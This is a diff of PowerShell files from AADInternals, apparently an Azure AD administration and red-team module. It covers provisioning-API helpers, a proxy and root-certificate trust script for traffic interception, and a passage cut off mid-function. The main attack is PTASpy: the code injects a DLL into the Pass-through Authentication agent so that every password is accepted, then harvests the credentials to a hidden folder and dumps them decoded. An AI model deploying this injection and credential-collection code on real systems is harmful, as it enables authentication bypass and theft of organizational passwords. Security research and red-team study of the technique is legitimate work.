$serviceName = "AzureADConnectAuthenticationAgent"
$processName = "AzureADConnectAuthenticationAgentService"
# May 20th 2019
function Install-PTASpy
{
<#
.SYNOPSIS
Installs PTASpy to the current computer.
.DESCRIPTION
Installs PTASpy to the current computer. PTASpy collects credentials to C:\PTASpy.log and accepts all passwords.
#>
[cmdletbinding()]
Param()
Process
{
# Check that the process is running..
$process = Get-Process -Name $processName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($process))
{
Write-Error "This command needs to be run on a computer with Azure AD Authentication Agent running (AzureADConnectAuthenticationAgentService.exe)."
return
}
# Check the dependencies..
if([String]::IsNullOrEmpty((Get-ChildItem -Path HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall | Get-ItemProperty | Where-Object {$_.DisplayName -like "Microsoft Visual C++ 2015 Redistributable (x64)*"})))
{
Write-Warning "Microsoft Visual C++ 2015 Redistributable (x64) seems not to be installed! If PTASpy installation fails, install from: https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe"
}
$processId = $process.Id
$promptValue = Read-Host "Are you sure you wan't to install PTASpy to this computer? Type YES to continue or CTRL+C to abort"
if($promptValue -eq "yes")
{
Write-Verbose "Creating and hiding directory C:\PTASpy"
$PTASpyDir = New-Item -ItemType Directory -Force -Path C:\PTASpy
$PTASpyDir.Attributes += "Hidden"
Write-Verbose "Copying PTASpy.dll to C:\PTASpy\"
try
{
Copy-Item "$PSScriptRoot\PTASpy.dll" "C:\PTASpy\" -Force
}
catch
{
Write-Error "Could not copy PTASpy.dll to C:\PTASPy - Try running Remove-AADIntPTASpy and try again"
return
}
$result=Inject-DLL -ProcessID $processID -FileName "C:\PTASpy\PTASpy.dll"
Write-Verbose "Inject-DLL result: $result"
if($result -like "*success*")
{
Write-Host "Installation successfully completed!"
Write-Host "All passwords are now accepted and credentials collected to C:\PTASpy\PTASpy.csv"
return
}
else
{
Write-Error "Installation failed: $result"
return
}
}
}
}
# May 20th 2019
function Remove-PTASpy
{
<#
.SYNOPSIS
Removes PTASpy from the current computer
.DESCRIPTION
Removes PTASpy from the current computer by restarting AzureADConnectAuthenticationAgentService service.
#>
[cmdletbinding()]
Param()
Process
{
$service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Authentication Agent service (AzureADConnectAuthenticationAgent)"
return
}
Restart-Service $serviceName
Write-Verbose "Removing C:\PTASpy\PTASpy.dll"
Remove-Item "C:\PTASpy\PTASpy.dll" -Force
Write-Host "Service restarted and C:\PTASpy\PTASpy.dll removed."
}
}
# May 20th 2019
function Get-PTASpyLog
{
<#
.SYNOPSIS
Dumps credentials collected by PTASpy
.DESCRIPTION
Dumps credentials from C:\PTASpy.csv collected by PTASpy and deletes the file if requested
#>
[cmdletbinding()]
Param(
[Switch]$DeleteFile,
[Switch]$DecodePasswords
)
Process
{
$fileName = "C:\PTASpy\PTASpy.csv"
$fileContent = Get-Content $fileName
foreach($row in $fileContent)
{
if(![String]::IsNullOrEmpty($row.Trim()))
{
$attributes=[ordered]@{}
$values = $row.Split(",")
$attributes["UserName"]=$values[0]
if($DecodePasswords)
{
$attributes["Password"]=[System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String($values[3]))
}
else
{
$attributes["Password"]=$values[3]
}
$date=[int]$values[2]
# epoch from AccessToken_utils = 1.1.1970 00:00
$attributes["Time"]=$epoch.AddSeconds($date)
New-Object PSObject -Property $attributes
}
}
if($DeleteFile)
{
Remove-Item $fileName -Force
}
}
}
+83
View File
@@ -0,0 +1,83 @@
# Process utils
# May 20th 2019
function Execute-Process
{
<#
.SYNOPSIS
Executes a given executable, batch, etc. in a new process and returns its stdout.
.DESCRIPTION
Executes a given executable, batch, etc. in a new process and returns its stdout.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$True)]
[String]$Arguments
)
Process
{
# Create ProcessStartInfo
$info = New-Object System.Diagnostics.ProcessStartInfo
$info.FileName = $FileName
$info.Arguments = $Arguments
$info.CreateNoWindow = $true
$info.RedirectStandardOutput = $true
$info.UseShellExecute = $false
# Create a new process and execute it
$ps = New-Object System.Diagnostics.Process
$ps.StartInfo = $info
$ps.Start() | Out-Null
$ps.WaitForExit()
# Get the output and return it
$stdout = $ps.StandardOutput.ReadToEnd()
return $stdout
}
}
# May 20th 2019
function Inject-DLL
{
<#
.SYNOPSIS
Injects a given DLL to the given process
.DESCRIPTION
Injects a given DLL to the given process.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$ProcessID,
[Parameter(Mandatory=$True)]
[String]$FileName
)
Process
{
$InjectDLL = "$PSScriptRoot\InjectDLL.exe"
Execute-Process -FileName $InjectDLL -Arguments "$ProcessID `"$Filename`""
}
}
# May 20th 2019
Function Get-ShortName {
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName
)
Process
{
$ScriptingFSO = New-Object -ComObject Scripting.FileSystemObject
return $ScriptingFSO.GetFile($($FileName)).ShortPath
}
}
+6630
View File
File diff suppressed because it is too large Load Diff
+491
View File
@@ -0,0 +1,491 @@
# This script contains utility functions for provisioning API at https://provisioning.microsoftonline.com
# Office 365 / Azure AD v1, a.k.a. MSOnline module uses this API
# Azure AD Roles
$AADRoles=@{
"Helpdesk Administrator"= "729827e3-9c14-49f7-bb1b-9608f156bbb8"
"Service Support Administrator"= "f023fd81-a637-4b56-95fd-791ac0226033"
"Billing Administrator"= "b0f54661-2d74-4c50-afa3-1ec803f12efe"
"Partner Tier1 Support"= "4ba39ca4-527c-499a-b93d-d9b492c50246"
"Partner Tier2 Support"= "e00e864a-17c5-4a4b-9c06-f5b95a8d5bd8"
"Directory Readers"= "88d8e3e3-8f55-4a1e-953a-9b9898b8876b"
"Exchange Service Administrator"= "29232cdf-9323-42fd-ade2-1d097af3e4de"
"Lync Service Administrator"= "75941009-915a-4869-abe7-691bff18279e"
"User Account Administrator"= "fe930be7-5e62-47db-91af-98c3a49a38b1"
"Directory Writers"= "9360feb5-f418-4baa-8175-e2a00bac4301"
"Company Administrator"= "62e90394-69f5-4237-9190-012177145e10"
"SharePoint Service Administrator"= "f28a1f50-f6e7-4571-818b-6a12f2af6b6c"
"Device Users"= "d405c6df-0af8-4e3b-95e4-4d06e542189e"
"Device Administrators"= "9f06204d-73c1-4d4c-880a-6edb90606fd8"
"Device Join"= "9c094953-4995-41c8-84c8-3ebb9b32c93f"
"Workplace Device Join"= "c34f683f-4d5a-4403-affd-6615e00e3a7f"
"Compliance Administrator"= "17315797-102d-40b4-93e0-432062caca18"
"Directory Synchronization Accounts"= "d29b2b05-8046-44ba-8758-1e26182fcf32"
"Device Managers"= "2b499bcd-da44-4968-8aec-78e1674fa64d"
"Application Administrator"= "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3"
"Application Developer"= "cf1c38e5-3621-4004-a7cb-879624dced7c"
"Security Reader"= "5d6b6bb7-de71-4623-b4af-96380a352509"
"Security Administrator"= "194ae4cb-b126-40b2-bd5b-6091b380977d"
"Privileged Role Administrator"= "e8611ab8-c189-46e8-94e1-60213ab1f814"
"Intune Service Administrator"= "3a2c62db-5318-420d-8d74-23affee5d9d5"
"Cloud Application Administrator"= "158c047a-c907-4556-b7ef-446551a6b5f7"
"Customer LockBox Access Approver"= "5c4f9dcd-47dc-4cf7-8c9a-9e4207cbfc91"
"CRM Service Administrator"= "44367163-eba1-44c3-98af-f5787879f96a"
"Power BI Service Administrator"= "a9ea8996-122f-4c74-9520-8edcd192826c"
"Guest Inviter"= "95e79109-95c0-4d8e-aee3-d01accf2d47b"
"Conditional Access Administrator"= "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9"
"Reports Reader"= "4a5d8f65-41da-4de4-8968-e035b65339cf"
"Message Center Reader"= "790c1fb9-7f7d-4f88-86a1-ef1f95c05c1b"
"Information Protection Administrator"= "7495fdc4-34c4-4d15-a289-98788ce399fd"
"License Administrator"= "4d6ac14f-3453-41d0-bef9-a3e0c569773a"
"Cloud Device Administrator"= "7698a772-787b-4ac8-901f-60d6b08affd2"
"Teams Communications Administrator"= "baf37b3a-610e-45da-9e62-d9d1e5e8914b"
"Teams Communications Support Engineer"= "f70938a0-fc10-4177-9e90-2178f8765737"
"Teams Communications Support Specialist"= "fcf91098-03e3-41a9-b5ba-6f0ec8188a12"
"Teams Service Administrator"= "69091246-20e8-4a56-aa4d-066075b2a7a8"
"Guest User"= "10dae51f-b6af-4016-8d66-8c2a99b929b3"
}
# Boolean to string
function b2s
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[bool]$Bool
)
Process
{
$Bool.ToString().ToLower()
}
}
# Create SOAP envelope
function Create-Envelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$True)]
[String]$RequestElements,
[Parameter(Mandatory=$False)]
[String]$TenantId
)
Process
{
# Create the envelope
$message_id=(New-Guid).ToString()
$envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://provisioning.microsoftonline.com/IProvisioningWebService/$Command</a:Action>
<a:MessageID>urn:uuid:$message_id</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<UserIdentityHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<BearerToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Bearer $AccessToken</BearerToken>
<LiveToken i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService"/>
</UserIdentityHeader>
<ClientVersionHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<ClientId xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">50afce61-c917-435b-8c6d-60aa5a8b8aa7</ClientId>
<Version xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">1.2.183.17</Version>
</ClientVersionHeader>
<ContractVersionHeader xmlns="http://becwebservice.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<BecVersion xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Version47</BecVersion>
</ContractVersionHeader>
<a:To s:mustUnderstand="1">https://provisioningapi.microsoftonline.com/provisioningwebservice.svc</a:To>
</s:Header>
<s:Body>
<$Command xmlns="http://provisioning.microsoftonline.com/">
<request xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:BecVersion>Version16</b:BecVersion>
$(Add-BElement -Parameter "TenantId" -Value $TenantId)
<b:VerifiedDomain i:nil="true"/>
$RequestElements
</request>
</$Command>
</s:Body>
</s:Envelope>
"@
# Debug
Write-Debug "ENVELOPE ($Command): $envelope"
# Return
return $envelope
}
}
# Calls the provisioning SOAP API
function Call-ProvisioningAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Envelope
)
Process
{
# Call the API
Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope
}
}
# Parses the response object(s) from SOAP message
function Parse-SOAPResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$Response
)
Process
{
# Check if empty
if(![string]::IsNullOrEmpty($Response))
{
# All good, try to parse the response object
$results=(Select-Xml -Xml $response -XPath "//*[local-name()='$($Command+"Result")']").Node
# Check if we got response
if([string]::IsNullOrEmpty($results))
{
# Got error
throw $Response.Envelope.Body.Fault.Reason.Text.'#text'
}
# Sometimes response message is empty
if($results.ReturnValue -ne $null)
{
(Remove-XMLNameSpace $results.ReturnValue).ReturnValue
}
else
{
return ""
}
}
else
{
# Empty, so throw an exception
throw "Null or empty Response"
}
}
}
# Remove namespace from xml doc
function Remove-XMLNameSpace
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$xmlDoc
)
Process
{
$xml=[System.Xml.Linq.XDocument]::Parse($xmlDoc.OuterXml)
$remove=@()
foreach ($XE in $xml.Descendants())
{
if($XE.Name.LocalName.Length -eq 1)
{
# Remove "c" etc. tags
$remove+=$XE
}
else
{
# Strip the namespace and attributes
$XE.Name = $XE.Name.LocalName
$XE.RemoveAttributes()
}
}
foreach($XE in $remove)
{
$XE.Remove()
}
return [xml]$xml.ToString()
}
}
# Parses the given ServiceInformation object from Get-CompanyInformation and returns as hashtable
# Aug 11th 2018
function Parse-ServiceInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Xml.XmlElement]$ServiceInformation
)
Process
{
# Set the return hastable
$retVal=@{}
# Loop through service information elements. There might be even more than these here.
foreach($service in $ServiceInformation.ServiceInformation)
{
$settings=$null
$instance = $service.ServiceInstance
$instance_name=$instance.Split("/")[0]
if($instance_name -ceq "sharepoint")
{
$settings=$service.ServiceElements.XElement.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ceq "SharePoint")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
#$service.ServiceElements.XElement.ServiceExtension.DNSRecords.DNSRecord
}
elseif($instance_name -eq "RMSOnline")
{
$settings=$service.ServiceElements.XElement.RmsCompanyServiceInfo.ServiceLocations.ServiceLocation
}
elseif($instance_name -eq "SCO")
{
$settings=$service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter
$name = $service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter.Name
$value = $service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter.Value
if($name -ne $null)
{
$settings=@{$name = $value}
}
}
elseif($instance_name -ieq "YammerEnterprise")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ieq "ProjectWorkManagement")
{
$settings=$service.ServiceElements.XElement.Topology
}
elseif($instance_name -ieq "Netbreeze")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ieq "DynamicsMarketing")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ieq "CRM")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
$retVal[$instance]=$settings
}
$retval
}
}
# Get Sku and service name from SKU array
# Aug 12th 2018
function Get-SkuAndServiceName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[psobject[]]$SKUs,
[Parameter(Mandatory=$True)]
[string]$ServicePlanId
)
Process
{
$attributes=@{}
foreach($sku in $SKUs)
{
$attributes["SkuName"]=$sku.SkuPartNumber
foreach($service in $sku.ServiceStatus)
{
if($service.ServicePlanId -eq $ServicePlanId)
{
$attributes["ServiceName"]=$service.ServiceName
$attributes["ServiceType"]=$service.ServiceType
$attributes["ProvisioningStatus"]=$service.ProvisioningStatus
return New-Object psobject -Property $attributes
}
}
}
# No matching SKU found so return $null
$null
}
}
# Creates a <namespace:parameter> -element
function Add-Element
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$NameSpace,
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
if(![string]::IsNullOrEmpty($NameSpace))
{
$Parameter="$NameSpace`:$Parameter"
}
if([string]::IsNullOrEmpty($Value))
{
$element="<$Parameter i:nil=`"true`"/>"
}
else
{
if($Value -is [Boolean])
{
$Value=b2s -Bool $Value
}
$element="<$Parameter>$Value</$Parameter>"
}
$element
}
}
# Creates a <b:parameter> -element
function Add-BElement
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
Add-Element -NameSpace "b" -Parameter $Parameter -Value $Value
}
}
# Creates a <c:parameter> -element
function Add-CElement
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
Add-Element -NameSpace "c" -Parameter $Parameter -Value $Value
}
}
# Creates a <d:parameter> -element
function Add-DElement
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
Add-Element -NameSpace "d" -Parameter $Parameter -Value $Value
}
}
# Converts xml to PSObject
function ConvertXmlTo-PSObject
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Xml.XmlLinkedNode]$xml
)
Begin
{
$XMLProperties=@(
"InnerText"
"InnerXml"
"OuterXml"
"BaseURI"
"Prefix"
"NamespaceURI"
"Name"
"LocalName"
"Value"
"IsEmpty"
"HasAttributes"
"HasChildNodes"
"IsReadOnly"
"ChildNodes"
)
}
Process
{
$attributes=[ordered]@{}
foreach($property in $xml.PSObject.Properties)
{
if(!$XMLProperties.Contains($property.Name))
{
switch($property.TypeNameOfValue)
{
"System.String"
{
$attributes[$property.Name] = $property.Value
break
}
"System.Boolean"
{
$attributes[$property.Name] = $property.Value
break
}
"System.Object[]"
{
$values=@()
foreach($value in $property.Value)
{
$values += $value
}
$attributes[$property.Name] = $values
break
}
"System.Xml.XmlElement"
{
$values = ConvertXmlTo-PSObject -xml $property.Value
$attributes[$property.Name] = $values.PSObject.Properties.Value
break
}
"System.Xml.XmlNodeList"
{
$attributes[$property.Name] = $property.Value
break
}
}
}
}
return New-Object psobject -Property $attributes
}
}
+283
View File
@@ -0,0 +1,283 @@
# This file contains functions for setting proxy settings for Windows devices
# Sets proxy settings
# Jan 20th 2022
Function Set-ProxySettings
{
<#
.SYNOPSIS
Sets proxy settings of the local Windows machine and trusts Fiddler root certificate.
.DESCRIPTION
Sets proxy settings of the local Windows machine for:
* .NET Framework (both 32 & 64 bit) by editing machine.config
* LocalSystem using BITSAdmin
* NetworkService using BITSAdmin
* winhttp using netsh
* Local user by modifying registry
* Machine level by modifying registry
* Force machine level proxy by modifying registry
Trusts Fiddler root certificate by importing it to Local Machine truster root certificates
.Parameter ProxyAddress
Proxy address with port number.
.Parameter TrustFiddler
Trust Fiddler root certificate
.EXAMPLE
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080
Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
.EXAMPLE
PS\:>Set-AADIntProxySettings -ProxyAddress 10.0.0.10:8080 -TrustFiddler
Setting proxies for x86 & x64 .NET Frameworks:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config
Setting proxy for LocalSystem:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account LocalSystem were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting proxy for NetworkService:
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
Internet proxy settings for account NetworkService were set.
(connection = default)
Proxy usage set to Manual_proxy
Proxy list set to http://10.0.0.1:8080
Proxy bypass list set to <empty>
Setting winhttp proxy:
Current WinHTTP proxy settings:
Proxy Server(s) : 10.0.0.1:8080
Bypass List : (none)
Setting the proxy of local user Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\C
urrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting the proxy of machine Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: DefaultConnectionSettings".
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Internet Settings\Connections Property: SavedLegacySettings".
Setting machine level procy policy for Internet Settings:
VERBOSE: Performing the operation "Set Property" on target "Item: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft
\Windows\CurrentVersion\Internet Settings Property: ProxySettingsPerUser".
Trusting Fiddler root certificate:
PSParentPath: Microsoft.PowerShell.Security\Certificate::LocalMachine\Root
Thumbprint Subject
---------- -------
33D6FCEE2850DC53EEED517F3E8E72EB944BD467 CN=DO_NOT_TRUST_FiddlerRoot, O=DO_NOT_TRUST, OU=Created by http://...
#>
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ProxyAddress,
[Switch]$TrustFiddler,
[Switch]$TrustBurp
)
Process
{
# Split the proxy address
$proxyHost = $ProxyAddress.Split(":")[0]
$proxyPort = $ProxyAddress.Split(":")[1]
# Set .NET proxy in a quick-and-dirty way by just adding at the end
$configXml = @"
<!-- Added by AADInternals $((Get-Date).ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z")-->
<system.net>
<defaultProxy enabled = "true" useDefaultCredentials = "true">
<proxy autoDetect="false" bypassonlocal="true" proxyaddress="http://$($ProxyAddress)" usesystemdefault="false" />
</defaultProxy>
</system.net>
</configuration>
"@
Write-Host "Setting proxies for x32 & x64 .NET Frameworks:" -ForegroundColor Yellow
$dotNetConfigs = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config","C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config"
foreach($dotNetConfig in $dotNetConfigs)
{
$content = Get-Content $dotNetConfig -Encoding UTF8
[xml]$xmlContent = $content
if($xmlContent.configuration.'system.net'.defaultProxy)
{
Write-Warning ".NET proxy settings already set, skipping $dotNetConfig"
}
else
{
$lines = $content.Length
for($a = $lines ; $a-- ; $a -ge 0)
{
if($content[$a] -like "*</configuration>*")
{
$content[$a] = $configXml
break
}
}
Write-Host " $dotNetConfig" -ForegroundColor Yellow
$content | Set-Content $dotNetConfig -Encoding UTF8
}
}
# Add proxy for the LocalSystem and NetworkService using bitsadmin
Write-Host "Setting proxy for LocalSystem:" -ForegroundColor Yellow
& 'bitsadmin' '/Util' '/SetIEProxy' 'LocalSystem' 'Manual_proxy' "http://$ProxyAddress" '""'
Write-Host "Setting proxy for NetworkService:" -ForegroundColor Yellow
& 'bitsadmin' '/Util' '/SetIEProxy' 'NetworkService' 'Manual_proxy' "http://$ProxyAddress" '""'
# Set winhttp proxy
Write-Host "Setting winhttp proxy:" -ForegroundColor Yellow
& 'netsh' 'winhttp' 'set' 'proxy' "$ProxyAddress"
#
# Set proxy for Internet Settings
#
# Generate the settigns blob
[byte[]]$settingsBlob = New-DefaultConnectionSettings -ProxyAddress $ProxyAddress
# Set Current User settings
Write-Host "Setting the proxy of local user Internet Settings:" -ForegroundColor Yellow
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
# Set Machine settings
Write-Host "Setting the proxy of machine Internet Settings:" -ForegroundColor Yellow
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "DefaultConnectionSettings" -Value $settingsBlob -Force -Verbose
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections" -Name "SavedLegacySettings" -Value $settingsBlob -Force -Verbose
# Set proxy policy on machine level
Write-Host "Setting machine level procy policy for Internet Settings:" -ForegroundColor Yellow
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Force -Verbose
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings" -Name "ProxySettingsPerUser" -Value 0 -Force -Verbose
# Trust the Fiddler
if($TrustFiddler)
{
Write-Host "Trusting Fiddler root certificate:" -ForegroundColor Yellow
$tmpFile = New-TemporaryFile
Invoke-RestMethod -Uri "http://ipv4.fiddler:$proxyPort/FiddlerRoot.cer" -Proxy "http://$ProxyAddress" -OutFile $tmpFile
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root" Remove-Item $tmpFile -Force
}
# Trust Burp Suite
if($TrustBurp)
{
Write-Host "Trusting Burp root certificate:" -ForegroundColor Yellow
$tmpFile = New-TemporaryFile
Invoke-RestMethod -Uri "http://$ProxyAddress/cert" -OutFile $tmpFile
Import-Certificate -FilePath $tmpFile -CertStoreLocation "Cert:\LocalMachine\Root" Remove-Item $tmpFile -Force
}
}
}
# Generates a DefaultConnectionSettings blob
# Jan 20th 2022
Function New-DefaultConnectionSettings
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[String]$ProxyAddress
)
Process
{
# Ref: http://atyoung.blogspot.com/2012/06/info-regarding-hkeycurrentusersoftwarem.html
$proxyLen = $ProxyAddress.length
$blob = new-object byte[] (56 + $proxyLen)
$p = 0
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x46 ) , 0, $blob, $p, 4); $p += 4 # Identifier 0x46 or 0x3C
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Counter
[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x03 ) , 0, $blob, $p, 4); $p += 4 # Use a proxy server for your lan
# 09 when only 'Automatically detect settings' is enabled
# 03 when only 'Use a proxy server for your LAN' is enabled
# 0B when both are enabled
# 05 when only 'Use automatic configuration script' is enabled
# 0D when 'Automatically detect settings' and 'Use automatic configuration script' are enabled
# 07 when 'Use a proxy server for your LAN' and 'Use automatic configuration script' are enabled
# 0F when all the three are enabled.
# 01 when none of them are enabled.
[Array]::Copy([bitconverter]::GetBytes([UInt32] $proxyLen ) , 0, $blob, $p, 4); $p += 4 # Proxy address length
[Array]::Copy([Text.Encoding]::ASCII.GetBytes($ProxyAddress) , 0, $blob, $p, $proxyLen); $p += $proxyLen # Proxy address
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Additional info length
#[Array]::Copy([bitconverter]::GetBytes([UInt32] 0x00 ) , 0, $blob, $p, 4); $p += 4 # Automatic script address length
# Rest is just 32 bytes of 0x00
return $blob
}
}
+10
View File
@@ -0,0 +1,10 @@
# AADInternals
AADInternals is PowerShell module for administering Azure AD and Office 365
For details, please visit https://aadinternals.com/aadinternals
## Installation
Run the following PowerShell command to install
```
Install-Module AADInternals
```
+534
View File
@@ -0,0 +1,534 @@
# This script contains functions used in Microsoft Support and Recovery Assistant (SARA)
# Sep 23rd 2021
function Get-SARAUserInfo
{
<#
.SYNOPSIS
Gets user information using SARA API
.DESCRIPTION
Gets user information using Microsoft Support and Recovery Assistant (SARA) API
.Parameter AccessToken
Access Token
.Example
$at=Get-AADIntAccessTokenForSARA
PS C:\>Get-AADIntSARAUserInfo -AccessToken $at
AnalyzerName : AnalysisRule, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets.GetUserAnalyzer, Microsoft.Online.CSE.HRC.Analysis.Analyzers.ExchangeCmdlets, Version=16.0.3144.0, Culture=
